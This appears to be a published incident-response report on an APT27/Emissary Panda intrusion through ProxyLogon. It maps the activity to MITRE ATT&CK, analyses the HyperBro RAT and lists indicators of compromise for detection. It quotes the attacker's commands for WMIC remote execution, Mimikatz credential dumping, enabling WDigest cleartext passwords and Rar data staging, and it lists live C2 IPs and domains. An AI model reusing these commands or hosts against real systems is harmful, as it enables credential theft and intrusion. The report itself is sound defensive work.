Account
Discovery
Lateral
Movement
Masquerade
T1055.012:
Local
T1003: OS
Credential
Dumping
Discovery
T1036.004:
T1078.002:
T1078.003:
Credential
Access
Hollowing
T1078:
Valid
Accounts
T1078.002:
Domain
Accounts
T1078.003:
Local
Accounts
Figure 6: Observed TTPs for Emissary Panda mapped to MITRE ATT&CK
The following subsections explain the observations for each technique and helps to understand the attack
in detail.
https://attack.mitre.org/
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Resource Development
6.1.1
Develop Capabilities: Malware (T1587.001)
The attack heavily relied on the use of the HyperBro Remote Access Tool (RAT). According to our
knowledge as well as several sources on the Internet 22 23, this malware is only used by Emissary Panda.
Hence, HyperBro is most likely developed by the threat actor itself. The backdoor relies on DLL Search
Order Hijacking and DLL Side-loading, as described in Section 6.4. Furthermore, commands sent by the
attacker are executed in-memory and do not create secondary artifacts, which complicates the forensic
analysis. A detailed analysis of the malware is performed in Section Malware Analysis of HyperBro.
6.2 Initial Access
6.2.1
Exploit Public-Facing Application (T1190)
The initial access to the victim
s infrastructure was performed by exploiting the ProxyLogon vulnerability.
The vulnerability became apparent to the public when Microsoft published a blog post on 02.03.2021
stating that a new critical Exchange vulnerability was being actively exploited by attackers 24. The first
communication of the victim
s Exchange servers with the C2 IP addresses occurred on 04.03.2021.
Furthermore, the Exchange servers were the first systems to communicate with the malicious IP addresses.
Although, the initial system could not be forensically analyzed, the Firewall logs, the timing of Microsoft
publication, and the first communication are sufficient to assume, that the initial access vector was in fact
ProxyLogon. This leads to the conclusion that Emissary Panda used the exploitation of the public-facing
Exchange server for their initial access.
6.3 Execution
6.3.1
Windows Management Instrumentation (T1047)
Emissary Panda was observed to utilize the Windows Management Instrumentation (WMI) to execute
malware, scripts, commands, and collection tools.
$ wmic /node:<HOSTNAME> process call create "cmd /c c:\perflogs\vfhost.exe"
$ wmic /node:<IP> process call create "cmd /c c:\perflogs\vfhost.exe"
$ wmic /node:<IP> process call create "cmd /c c:\temp\vfhost.exe"
$ wmic /node:<IP> process call create "cmd /c d:\$recycle.bin\bin.bat"
$ wmic /node:<IP> process call create " Rar.exe a d:\<PATH>\log "E:\<TARGET_DIR_1>\"
"E:\<TARGET_DIR_2>\" "H:\<TARGET_DIR_3>\*.xls*" "E:\<TARGET_DIR_4>\" "H:\
<TARGET_DIR_3>\*.csv" "E:\<TARGET_DIR_5>\" "E:\ <TARGET_DIR_6>\" d:\Users\Homes\<USER>\
-r -y -hpC0yHvnGojFe9aqyM5VqT9ik4tkVnuKkPk8t -v5444M"
https://attack.mitre.org/software/S0398/
https://malpedia.caad.fkie.fraunhofer.de/details/win.hyperbro
https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/
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The first three lines show the remote execution of the HyperBro malware on different systems using
different locations. In preparation to this remote execution, the corresponding malware files were dropped
over an SMB connection authenticated by a legit domain admin. Following the placement of the malware,
it is executed remotely with WMIC by referencing the remote system with its IP or hostname.
The fourth command shows the same technique for a malicious Batch script.
Last, the collection tool was executed remotely with the same technique. The specified partitions
(D:\ and E:\) are located on the target system. Hence, the collection tool was also placed on the target
system beforehand. A detailed description of the command can be found in Section 6.10.
6.4 Persistence
6.4.1
Create or Modify System Process: Windows Service (T1543.003)
The threat actor has utilized Windows Services to achieve persistence of their HyperBro backdoor. The
Windows service has the following settings:
Name
= windefenders
Display
= Windows Defenders
ImagePath = "C:\Program Files (x86)\Common Files\windefenders\msmpeng.exe"
Type
= 0x0
Start
= Auto Start
Group
The path of the service points to the malware, which was dropped at this location beforehand.
Furthermore, the service is set to Auto Start to ensure persistence. Prior to creating this service, the
threat actor created a similar service with the name windefende-921919155 but deleted it within a few
seconds. This behavior was observed multiple times with variations in numbers. Hence, the service names
windefende-[0-9]{9} could also serve as IOCs.
6.4.2
Boot or Logon Autostart Execution: Registry Run Keys (T1547.001)
Another observed way of persistence was the utilization of a Registry run key for the current user. The key
being used for persistence had the following name:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\windefenders
This is a backup mechanism for the establishment of persistence, if the compromise account does not have
enough privileges for the creation of a Windows Service
6.4.3
Valid Accounts: Domain Accounts (T1078.002) and Local Accounts (T1078.003)
During the attack, valid accounts were used for Persistence, Lateral Movement, Defense Evasion, Execution
as well as Collection. Hence, there is no optimal sub-section for the placement of this technique. The
accounts included both local accounts, such as the built-in administrator, as well as domain accounts,
which were mainly domain administrators.
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6.5 Privilege Escalation
Since the initial access with the exploitation of ProxyLogon (Section 6.2) provided the attacker already with
system-level access to an Exchange server, and dumping of credentials (Section 6.7.1) provided a local
administrator account and a domain admin account (Section 6.4.3), which could be used for lateral
movement, there was no need for escalating privileges.
6.6 Defense Evasion
6.6.1
Hijack Execution Flow: DLL Search Order Hijacking (T1574.001) and DLL Side-Loading (T1574.002)
As described in multiple reports 25 26, Emissary Panda often drops a legit application, which then side-loads
a malicious DLL. Since Windows first searches for the DLL in the same directory as the application is
launched 27, the malicious DLL is loaded even if the original DLL exists on the target system. Hence, the DLL
search order is hijacked by placing the files in the same directory. The following two files are placed in the
same directory to perform DLL Search Order Hijacking (T1574.001) and DLL Side-Loading:
msmpeng.exe
Renamed, but legit application signed by CyberArk 28
vftrace.dll
Malicious DLL containing backdoor
After placing the files in one directory, the msmpeng.exe is executed, which then loads the vftrace.dll.
Hence, the malicious code of the DLL is running in the context of a legit application.
6.6.2
Modify Registry (T1112)
The configuration of the malware is stored in the Windows Registry. Therefore, the Registry key
HKLM\SOFTWARE\WOW6432Node\Microsoft\config_ is used. The following values are stored under
this key:
.msmpeng.exe.vftrace.dll
thumb.dat1C:\Program Files (x86)\Common
Files\windefenders\.<company_name>.0101.windefenders.windefenders.Windows
Defenders.Windows Defenders
Service..87.98.190.184
..fonts.dataanalyticsclub.com
87.98.190.184
The configuration information includes, the filenames, the service name used for persistence, and C2 IPs
as well as C2 domains.
https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/
https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/
https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order
https://www.virustotal.com/gui/file/df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15edbe28dcecb2a348/de
tails
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Besides storing their C2 configuration in the registry, Emissary Panda modified an existing registry key. Due
to modifying the following registry key, they activated the storage of clear text passwords after logon in
WDigest:
Reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\
/v UseLogonCredential /t REG_DWORD /d 1
This forces logon credentials to be stored in clear text, which can then be dumped by tools like Mimikatz,
as described in Section 6.7.1.
6.6.3
Process Injection: Process Hollowing (1055.012)
Since most of the manually executed commands, such as reconnaissance, were executed in the context of
the legit process wermgr.exe, it is concluded that Emissary Panda performed process hollowing to avoid
detection by security tools. This thesis is supported by the fact, that the executable related to the process
ID is the legit wermgr.exe of Windows. Furthermore, the capability for process hollowing as well as the
corresponding strings within the malware were identified during our malware analysis of HyperBro, which
is described in Section 8.3.
The following screenshot shows an excerpt of the EDR tool, which displays the reconnaissance activity in
the context of wermgr.exe:
Figure 7: Process Hollowing used to execute malicious commands in the context of legit wermgr.exe
6.6.4
Masquerading: Service (T1036.004), filename, and file location (T1036.005)
On several occasions, Emissary Panda tried to evade defenses by using names, which are associated with
security tools. This fact was also mentioned in previous reports 29. In the referenced reports, Emissary Panda
used a legitimate Symantec executable. In the case of this attack, Emissary Panda used an executable,
which is signed by CyberArk and named as the Microsoft Defender. Furthermore, the executable was
placed in common paths for Microsoft Defender:
C:\Program Files (x86)\Common Files\windefenders\msmpeng.exe
C:\Program Files (x86)\Common Files\windefenders\vftrace.dll
D:\$recycle.bin\
As already mentioned in Section 6.4.1, the service used for persistence was also named after the Microsoft
Defender.
Last, the recycle bin was utilized to store the output-archives of the collection tool, as described in
Section 6.10.1.
https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/
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6.7 Credential Access
6.7.1
OS Credential Dumping T1003
In order to gain valid credentials of accounts, Emissary Panda used techniques for credential dumping.
This also explains the extensive use of valid accounts, as described in Section 6.4.3. The following command
was observed during the attack:
$ msiexec.exe privilege::debug sekurlsa::logonPasswords
The command line parameters equal the parameters of the credential dumping tool Mimikatz 30. Since the
process is running in a valid msiexec process, the attacker performed credential dumping in combination
with process hollowing, as described in Section 6.6.3.
6.8 Discovery
6.8.1
Account Discovery (T1087.001) and Permission Groups Discovery T1069
To gain more information about the Active Directory accounts and groups, Emissary Panda utilized the
classic Windows net tool.
$ net user <USER> /domain
$ net1 user <ADMIN> /domain
$ net group "domain admins" /domain
$ net view \\<IP>
$ net use \\<IP>\ipc$ <PASSWORD> **********
Apparently, the operator of Emissary Panda mixed up the order of username and password in the net use
command. Hence, the password could be seen in clear-text and the username was redacted by the EDR.
6.8.2
Process Discovery T1057
Emissary Panda used the Tasklist utility to remotely gather information about running processes on
systems. The following command shows a remote execution of Tasklist, which stores the outputs to a file
located in the Recycle Bin:
$ wmic /node:<IP> process call create "cmd /c tasklist >d:\$recycle.bin\task.dat"
6.8.3
System Information Discovery (T1082)
As a preparation for the data collection, Emissary Panda checked the used disk space of their target
directories. The following command shows how they gained the used disk space for a home directory of
a User, located on the fileserver:
$ diruse /m /* \\<IP>\d$\Users\Homes\<USER>
The command outputs the used disk space in Megabyte.
https://github.com/gentilkiwi/mimikatz
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6.9 Lateral Movement
6.9.1
Remote Services: SMB Shares (T1021.002)
The threat actor utilized SMB shares to drop malware on remote systems. Following, the execution of the
malware was performed as described in Section 6.3.1. In order to access SMB shares on remote systems,
Emissary Panda used valid accounts as described in Section 6.4.3.
6.10 Collection
6.10.1
Archive via Utility (T1560.001) and Automated Collection (T1119)
Based on the observed hashes and parameters, Emissary Panda was using Winrar to collect data in
archives. The following commands show data collection performed on the fileserver:
$ Rar.exe a d:\<PATH>\log "E:\<TARGET_DIR_1>\" "E:\<TARGET_DIR_2>\" "H:\
<TARGET_DIR_3>\*.xls*" "E:\<TARGET_DIR_4>\" "H:\<TARGET_DIR_3>\*.csv" "E:\
<TARGET_DIR_5>\" "E:\<TARGET_DIR_6>\" d:\Users\Homes\<USER>\ -r -y hpC0yHvnGojFe9aqyM5VqT9ik4tkVnuKkPk8t -v5444M
$ Rar.exe a \\<IP_1>\d$\$recycle.bin\bin.rar "\\<IP_2>\E$\<TARGET_DIR_1>\"
"\\<IP_2>\E$\<TARGET_DIR_2>\" "\\<IP_2>\h$\<TARGET_DIR_3>\*.xls*"
"\\<IP_2>\E$\<TARGET_DIR_4>\" "\\<IP_2>\h$\<TARGET_DIR_3>\*.csv"
"\\<IP_2>\E$\<TARGET_DIR_5>\" \\<IP_2>\d$\Users\Homes\<USER>\ -r -y -inul hpC0yHvnGojFe9aqyM5VqT9ik4tkVnuKkPk8t -v5767M
The first command was launched remotely via WMIC on the fileserver. The collected files as well as the
output archive is located on the fileserver. The second command writes its output not to the fileserver but
to another compromised system in the recycle bin. Both commands use the same password to encrypt
the archives (incl. file and directory names). Finally, both commands use different sizes for their partial
archives, but the target directories are the same.
6.10.2 Data Staged (T1074)
As can be seen in the commands of the Section 6.10.1, the output of the collection is staged. This means
that the first command creates partial archives of 5444 MB and the second command of 5767 MB. The
partial archives are exfiltrated directly after creation and deleted afterwards.
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6.11 Command and Control
6.11.1
Application Layer Protocol: Web Protocols T1071.001
The C2 communication was performed over HTTPS, which could be observed in the firewall logs. Since
the content was encrypted no statement regarding the content can be made. Nevertheless, the backdoor
on all compromised systems was sending beacons to the C2 IP addresses in regular intervals.
Via memory analysis of a compromised systems the following post request with User Agent could be
extracted:
POST /api/v2/ajax HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/34.0.1847.116 Safari/537.36
Content-Length: 87
Host: 87.98.190.184
The IP address 87.98.190.184 is one of the C2 IP addresses used by Emissary Panda.
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7 OSINT analysis of C2 infrastructure
Observed C2 communication as well as HyperBro artifacts were analyzed and researched for additional
indicators and common attributes.
In the analyzed samples, HyperBro uses a HTTPS protocol endpoint under the following path:
/api/v2/ajax. This is a unique web application path, which is very well suited for detecting HyperBro
traffic. No legitimate applications or web installations have been identified that access this endpoint.
Furthermore, we noted that multiple Emissary Panda C2 addresses share the identical Jarm hash
3fd3fd16d3fd3fd22c3fd3fd3fd3fdf20014c17cd0943e6d9e2fb9cd59862b as well as a specific
*.cybo-cloud.com certificate:
Subject
Issuer
Serial
Validity
Names
SHA-256
SHA-1
CN=*.cybo-cloud.com
C=US, O=DigiCert Inc, OU=www.digicert.com, CN=RapidSSL RSA CA 2018
Decimal: 3163476740895991561136217391472201532
Hex: 0x261437201eb9a171027589b0d724f3c
2018-01-22 00:00:00 to 2021-04-21 12:00:00 (1185 days, 12:00:00)
*.cybo-cloud.com
cybo-cloud.com
84e285d08381eb40ca1c218e51a3f9efe4d7ccd95c53e4a6bec9fa5e858a50d7
44b9d089cf734d2478165a8539b23aed51887f7d
210cbb1ed295fd13497a3e45a71a5240
We were able to directly confirm seven C2 IP addresses with this specific Jarm hash and TLS certificate
combination. Passive DNS data suggests that also the following IP addresses might be related to Emissary
Panda as these share the Jarm hash and TLS certificate as well. However, at the time of writing, this
suspicion was not confirmed.
104.168.143.39
104.168.211.246
138.124.180.56
152.228.248.233
154.38.118.188
194.156.98.129
45.76.208.198
45.77.32.139
47.75.189.54
8.210.39.213
In addition, it was observed that Emissary Panda reacted to incident response activities via resolving their
C2 domain dataanalyticsclub.com to the localhost IP address 127.0.0.1. Thereby, effectively hiding
their C2 traffic. Hence, active HyperBro backdoors on webservers might be identified by reviewing the local
access log for requests to the following path: /api/v2/ajax.
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8 Malware Analysis of HyperBro
As described in other public reports 31, HyperBro is a custom malware of Emissary Panda used as RAT. An
analysis 32 of the HyperBro version used in this attack campaign was recently published by the German
domestic intelligence services (Bundesamt f
r Verfassungsschutz, BfV). In addition to this publication, we
provide additional technical details about the inner workings and capabilities of the malware. Furthermore,
we created and published a tool, which is able to extract the configuration from the malware. This enables
analysts to quickly retrieve the IOCs from HyperBro samples. Finally, this chapter also summarizes the
capabilities and available C2 commands of HyperBro.
Overview
The HyperBro malware consists of the following components:
Component
Description
msmpeng.exe / vfhost.exe Legit application signed by CyberArk 33, used for DLL Side-Loading
vftrace.dll (Stage 1)
Malicious DLL containing Stage 1 / the first loader
thumb.dat (Stage 2)
The file is encrypted with a weak one-byte key. After decryption, it
contains a loader for the PE Executable, which is also contained as
compressed buffer within the thumb.dat
PE Executable (Stage 3)
Contains the actual HyperBro backdoor written in C++
config.ini
Created after the first execution and contains a randomly generated
GUID
To launch HyperBro, the legit CyberArk application msmpeng.exe / vfhost.exe is executed. Due to
DLL Search Order Hijacking and DLL Side-Loading, as described in Section 6.6.1, this application loads the
malicious vftrace.dll. We refer to vftrace.dll as Stage 1 of the malware. The malicious DLL then
opens and reads thumb.dat, which we refer to as Stage 2. This file is encrypted with a weak one-byte
key. It contains a loader and a compressed PE Executable. The loader decompresses the PE Executable
within the thumb.dat and prepares it for execution. The decompressed PE Executable then contains the
actual HyperBro backdoor, which we refer to as Stage 3. The exact process of decryption, decompression,
and loading is explained in more detail in the following sections.
The complete process is depicted in Figure 8.
https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/
https://www.verfassungsschutz.de/SharedDocs/kurzmeldungen/DE/2022/2022-01-26-cyberbrief.html
https://www.virustotal.com/gui/file/df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15edbe28dcecb2a348/de
tails
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8.2 PE Loader
As displayed in Figure 8, the first stage opens and decrypts the thumb.dat file. Figure 9 shows a
screenshot of the decryption routine (first red box) and the launch of the decrypted PE Loader. The
decryption routine simply adds the byte 0xfc to each byte of the thumb.dat file. This is a rather simple
encryption with a one-byte key, which can easily be reproduced.
Figure 8: Malware Flow
The decrypted thumb.dat file contains the second stage, which is referenced to as the PE Loader, as well
as a compressed PE file. The used compression method for Stage 3 is LZNT1 34.
Since the vftrace.dll simply jumps to the beginning of the PE Loader, no functions are loaded or linked.
Effectively, the program is started with no linked or imported functions. Hence, the PE Loader needs to
initialize itself.
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-xca/94164d22-2928-4417-876e-d193766c4db6
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Figure 9: Decryption of thumb.dat and launch of PE Loader
A rather special method was chosen for this initialization. The loader contains a set of pairs of library and
function names (both hashed with a custom hash function). To resolve the function, the Thread Information
Block (TIB) of the current process is loaded. Afterwards the Process Environment Block (PEB) is accessed,
and the loaded modules are iterated to find the searched library. Following, the export table of the library
is parsed to find the function.
Figure 10: Structure with function pointers after resolving procedure via hashing
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As stated before, the library and function names are stored in a hashed form. The utilized hash function
was only seen in one other public report from Palo Altos
 Unit 42 published in 2017. The result of the
function resolution via the hashing algorithm is a structure containing several functions pointer, as can be
seen in Figure 10.
Figure 11: Parameters of decompress buffer functions of PE Loader
Next, the loader invokes a function that is used for decompressing the PE file contained in the decrypted
thumb.dat. The parameters of the function can be seen in Figure 11, while the function itself is display in
Figure 12.
Figure 12: Decompress buffer function of PE Loader
After successful execution the decompress_buffer function, another function parses the decompressed
buffer, which is the third stage (PE Executable), loads its sections into memory, sets up the correct
permissions on its memory pages, and finally launches the third stage. An excerpt of the launch_payload
function can be seen in Figure 13.
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Figure 13: Stage 3 launcher
Since the PE loader has effectively no import table, but only a structure of function pointers, it is less likely
to be detected by Antivirus products. The products often look for suspicious library functions, which are
loaded by a program, for example WinHttp. The result of the PE loader is a loaded and launched third
stage.
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8.3 Capabilities
The actual backdoor (Stage 3) shows sophisticated capabilities regarding remote access and command
and control, as well as persistence and evasion.
The following classes were found during the analysis, which provide a first indication of the functionality of
the malware.
TCaptureData
TFileInfo
TProcessInfo
TCaptureMgr
TFileMgr
TprocessMgr
TClipboardInfo
TFileRename
TRegeditKeyinfo
TClipboardMgr
TFileRetime
TRegeditMgr
Tcommdand
TFileUpload
TRegeditValueInfo
TConfig
TKeyboardMgr
TServiceInfo
TDirve (not a typo)
TKeyboarrdInfo
TServiceMgr
TFileData
TLogin
TShellcodeData
TFileDataReq
TLoop
TshellCodeMgr
TFileDown
TPacket
TShellMgr
TSock
TTransConnect
TUserMgr
TTransData
Furthermore, the malware has the capability to gain persistence in multiple ways on the target system.
One way is the creation of a Windows Service, as described in Section 3.4.1. Another way is the creation of
a Run Key within the Windows Registry, as described in Section 6.4.2.
Stage 3 is a sophisticated backdoor with various capabilities. It is controlled from a C2 server, which
provides commands to the backdoor by responding to HTTPS requests originating from the backdoor.
The first byte of the HTTPS response contains a byte specifying the command for the backdoor. Based on
the command the backdoor executes one of eight operations. The table in this subsection describes the
operations of Stage 3.
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Command code
Description
No operation / Wait for commands
0x10
Initial Logon to C2 server. Register new backdoor at C2 server
0x15
Delete everything
 Deletes the file: <path>\windefenders\config.ini
 Deletes the file: <path>\windefenders\log.log
 Deletes the file: <path>\windefenders\msmpeng.exe
 Deletes the file: <path>\windefenders\vftrace.dll
 Deletes the file: <path>\windefenders\thumb.dat
 Deletes the directory: <path>\windefenders
 Deletes the registry key: HKLM\SOFTWARE\Microsoft\config_
Note that the paths/files depend on the current configuration of the malware
Get information about the infected system:
 Get logged on user and check privileges of the user
 Send information to C2
Perform Process Hollowing:
 Restarts the backdoor in a hollowed process
 The following legit target processes are utilized:
 svchost.exe -k networkservice
 svchost.exe -k localservice
 Stop the current instance of the backdoor if hollowing was successful
Opens a remote shell and executes received commands:
 Sleep time of the while loop in the backdoor is decreased from 1000 ms to 100
ms for more responsive behavior of the remote shell
 Creates a new thread, which pulls commands from C2 server, which are then
executed
 The results are sent to the C2 server
Update malware:
 Drops a new executable under Temp:
 %Temp%\<current clock tick>.exe
 Launches the new executable
 Exits the running process after launch was successful
Updates the configuration of the backdoor:
 Copies the new configuration from the received packet to the in-memory
configuration of the backdoor (TConfig)
 Connects to new C2 server
 Closes old connection, after the new connection was established successfully
 Subcommand 0x10
 Updates additional configuration of the running malware
 Subcommand 0x14
 Update configuration regarding persistence
 Update Registry keys
 Update Windows Service
 Update File paths
0x17
0x18
0x1B
0x1D
0x1F
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8.4 HyperBro Configuration Extractor
In our online research about Emissary Panda and HyperBro, we found multiple descriptions of the malware
but no tool, which is able to extract the malware configuration from the encrypted thumb.dat file. In
order to develop such a tool, we reverse engineered the malware and re-implemented the decryption of
thumb.dat, the decompression of Stage 3, and implemented a configuration parser for Stage 3. The tool
can be found in our GitHub Repository: https://github.com/hvs-consulting/HyperBroExtractor
The tool runs through the steps from the thumb.dat as input to the decompressed PE file (Stage 3), as
displayed in Figure 8.
$ python3 HyperBro_extract_config.py -i thumb.dat -k fc
[*] The key is: 0xfc
[*] Decryption successful
[*] Decompression of PE successful
[*] HyperBro extracted config:
Legit launcher used for DLL-Side-Loading: msmpeng.exe
Stage 1:
vftrace.dll
Stage 2:
thumb.dat
Stage 3:
thumb.dat
Malware Directory:
windefenders
Domain (changed at runtime):
Default
Windows Service used for persistence:
Windows Defenders
Command and Control IP address:
104.168.236.46
User Agent:
Mozilla/5.0 (Windows NT 6.3; WOW64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36
HTTPS Request Information:
POSThttps://%s:%d/api/v2/ajax
Pipe name used for IPC:
\\.\pipe\testpipe
At first, the thumb.dat file needs to be decrypted. Therefore, we analyzed the decryption algorithm
contained in Stage 1 and extracted the corresponding key. Since the key is only one byte long, and it is
simply added to each byte of the thumb.dat, the encryption is not very strong. To increase the stability of
our tool, a brute-force function for the one-byte key was implemented as well as a detection for a correct
decryption. After the correct key is found, the thumb.dat is decrypted.
Next, the beginning of the PE file is identified in the decrypted thumb.dat. The file consists of the PE Loader
(Stage 2), and a compressed PE file (Stage 3). As stage 3 is compressed with LZNT1, a LZNT1 compressed
PE header is used as a signature to identify the start of Stage 3. Next, the compressed PE file can be
decompressed, which results in the actual HyperBro backdoor.
Last, the configuration of Stage 3 is parsed by the tool, i.e., it extracts multiple hard-coded parameters, like
the IP of the initial C2 server, the user agent utilized in HTTP requests, etc. An example of the output can
be seen above
In this case, the key is specified as a command-line parameter. The resulting IoCs as well as their utilization
for detection, are described in more detail in Section 7.
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The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
9 Detection of Emissary Pandas activities
Indicators of Compromise (IOCs)
The IOCs in this section were partially collected during the incident and partially gathered via OSINT
research. If you plan to use these IOCs in your organization, we recommend copying them from our public
GitHub Repository:
https://github.com/hvs-consulting/ioc_signatures/tree/main/Emissary_Panda_APT27
The repository also contains a MISP Event35 which is structured in MISP objects and comprises additional
contextual information. All the IOCs are classified as TLP White.
Category
Type
Value
Comment
Artifacts dropped
named pipe
testpipe
HyperBro RAT - named pipe
Artifacts dropped
windefenders
HyperBro RAT - persistence mechanism
windefende-921919155
Persistence mechanism of HyperBro RAT
Network activity
windowsservicename
windowsservicename
domain
dataanalyticsclub.com
Domain address used for C2 communication
Network activity
ip-dst
34.90.207.23
Network activity
ip-dst
103.79.77.200
APT27 C2 used during Hafnium attacks
reported by welivesecurity.com
IP address used for C2 communication
Network activity
ip-dst
104.168.236.46
IP address used for C2 communication
Network activity
ip-dst
193.203.203.26
IP address used for C2 communication
Network activity
ip-dst
74.119.194.153
IP address used for C2 communication
Network activity
ip-dst
87.98.190.184
IP address used for C2 communication
Network activity
ip-dst
107.148.131.210
IP address used for C2 communication
Network activity
ip-dst
35.187.148.253
IP address used for C2 communication
Network activity
ip-dst
103.79.78.48
IP address used for C2 communication
Network activity
ip-dst
45.77.250.141
IP address used for C2 communication
Network activity
domain
image.dataanalyticsclub.com
Domain address used for C2 communication
Network activity
domain
avatars.dataanalyticsclub.com
Domain address used for C2 communication
Network activity
domain
fonts.dataanalyticsclub.com
Network activity
/api/v2/ajax
PassiveTotal First 2021-11-10 Last 2022-0103
Malicious endpoint on C2 servers
Network activity
https://107.148.131.210/api/v2/ajax
URL used for C2 communication
Network activity
http://35.187.148.253/api/v2/ajax
URL used for C2 communication
Network activity
text
HyperBro RAT - user agent
Payload delivery
filename
Payload delivery
filename
Payload delivery
filename
Payload delivery
filename
Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/53
7.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/5
37.36
%PROGRAMFILES%\Common Files\windefenders\vftrace.
%PROGRAMFILES%\Common Files\windefenders\thumb.
%PROGRAMFILES%\Common Files\windefenders\config.i
%PROGRAMFILES%\Common Files\vfhost\VFTRACE.DLL
Artifacts dropped
HyperBro RAT - Stage 1
HyperBro RAT - Stage 2
File containing GUID created upon HyperBro
execution
HyperBro RAT - Stage 1
https://www.misp-project.org/
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The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
Category
Type
Value
Comment
Payload delivery
filename
Payload delivery
filename
%PROGRAMFILES%\Common
Files\windefenders\msmpeng.exe
vftrace.dll
HyperBro RAT - legit CyberArk Software
binary used for side-loading
HyperBro RAT - Stage 1
Payload delivery
filename
thumb.dat
HyperBro RAT - Stage 2
Payload delivery
filename
config.ini
Payload delivery
filename
msmpeng.exe
Payload delivery
filename
rar.exe
File containing GUID created upon HyperBro
execution
HyperBro RAT - legit CyberArk Software
binary used for side-loading
Rar.exe (WinRar)
Payload delivery
imphash
182f35372e9fd050b6e0610238bcd9fd
HyperBro RAT - Stage 1
Payload delivery
7655ff65f74f08ee2c54f44e5ef8f098
HyperBro RAT - Stage 1
Payload delivery
fa0b6ff0898acaa50563c1cb89524fcf
HyperBro RAT - Stage 1
Payload delivery
3a528cc7cfa7d7cd338c285839c3c727
HyperBro RAT - Stage 2
Payload delivery
84f09d192ec90542ede22c370836ffa6
HyperBro RAT - Stage 2
Payload delivery
832415bba4378181e3c975f247b9d0e8
HyperBro RAT - Stage 1
Payload delivery
42be134aeca1d88024b0d1baac0726d2
HyperBro RAT - Stage 1
Payload delivery
161d3039d7ee393820acab012f4cc85e
HyperBro RAT - Stage 1
Payload delivery
061b1d1378c06f9ed46b00fe202f39d8
HyperBro RAT - Stage 2
Payload delivery
4896a86615ef6835861404bb63a97d7a
HyperBro RAT - Stage 2
Payload delivery
4109ac08bdc8591c7b46348eb1bca85d
Payload delivery
0af2e05abc0ea27d33aa92fc2924655a
HyperBro RAT - legit CyberArk Software
binary used for side-loading
Rar.exe (WinRar)
Payload delivery
60d5648d35bacf5c7aa713b2a0d267d3
Rar.exe (WinRar)
Payload delivery
5c1c0bfdf0b3abcf4872b605dbea8b1a
HyperBro RAT - Stage 3
Payload delivery
80df708149bc7d2b19afd698def598f5
HyperBro RAT - Stage 2 (decrypted)
Payload delivery
sha1
3c7beb8978feac9ba8f5bab0656242232471bf7d
HyperBro RAT - Stage 1
Payload delivery
sha1
e0d6fcdf23c06c8e8016b0c93a1072c4bab0b659
HyperBro RAT - Stage 1
Payload delivery
sha1
0dfbbaf0267d79bbe15b1f5a78e1f1bcceea99ca
HyperBro RAT - Stage 2
Payload delivery
sha1
7fb23c6b4db90b55694bdd1cc5c1b4c706a4e181
HyperBro RAT - Stage 2
Payload delivery
sha1
7d92970e8394b20b887bf2de60408da15e260d9f
HyperBro RAT - Stage 1
Payload delivery
sha1
ba2ba390a13938de4d176addd7417ad9a1df2715
HyperBro RAT - Stage 1
Payload delivery
sha1
6043a8e4f14ac398fd25c10f20d01ba00eb22883
HyperBro RAT - Stage 1
Payload delivery
sha1
0acea28ddbfb86dc335c295475e5c9a2338bf4e3
HyperBro RAT - Stage 2
Payload delivery
sha1
95739e00e606e8e7a5c2f658b05820db7ee51910
HyperBro RAT - Stage 2
Payload delivery
sha1
6423d1c324522bfd2b65108b554847ac4ab02479
Payload delivery
sha1
755b979293a43e3a5de23933f35ec6a94b0971ee
HyperBro RAT - legit CyberArk Software
binary used for side-loading
Rar.exe (WinRar)
Payload delivery
sha1
a62af4ac233d914a25e79ec0705e2a187ebd7567
Rar.exe (WinRar)
Payload delivery
sha1
6d24b289ab4819774ac250d5d4f024e9dee7579c
HyperBro RAT - Stage 3
Payload delivery
sha1
d3cc018a28b39698bfa486f6e505be4c68573af0
HyperBro RAT - Stage 2 (decrypted)
Payload delivery
sha256
HyperBro RAT - Stage 1
Payload delivery
sha256
Payload delivery
sha256
Payload delivery
sha256
Payload delivery
sha256
Payload delivery
sha256
Payload delivery
sha256
52072a8f99dacd5c293fccd051eab95516d8b880cd2bc5a7
e0f4a30d008e22a7
5aa4dffee6acd65092ddaf7192c1009befd14eb079e694f1
32707dcda22f9e7f
2ca4181d958369ff92121700c681442664454b0ec4f7942
984611cc64caeca61
f2ba8b8aabf73020febd3a925276d52ce88f295537fe5772
3df714c13f5a8780
333b52c2cfac56b86ee9d54aef4f0ff4144528917bc1aa1fe
1613efc2318339a
847fce4a6c3561f51bb94dc682a16908d4ce5b0cf9d4315d
b6d642ad2a94f8bc
205aa1007e97a58ecb6e9f9a143ed7d337de98864d566d
8f6967a9496beff815
 HvS-Consulting AG 2022
HyperBro RAT - Stage 1
HyperBro RAT - Stage 2
HyperBro RAT - Stage 2
HyperBro RAT - Stage 1
HyperBro RAT - Stage 1
HyperBro RAT - Stage 1
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The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
Category
Type
Value
Comment
Payload delivery
sha256
HyperBro RAT - Stage 2
Payload delivery
sha256
Payload delivery
sha256
Payload delivery
sha256
Payload delivery
sha256
Payload delivery
sha256
Payload delivery
sha256
Payload delivery
x509fingerprintsha1
regkey
fd15d8bf6dd3858897dbc352b64577fd73cfd7ba4c3e4c7e
77a070fa43264216
ba3a9382c0e5857f496e998635f8ba0ae2aedf4782defcbe
204eaeea5c7e8e24
df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15
edbe28dcecb2a348
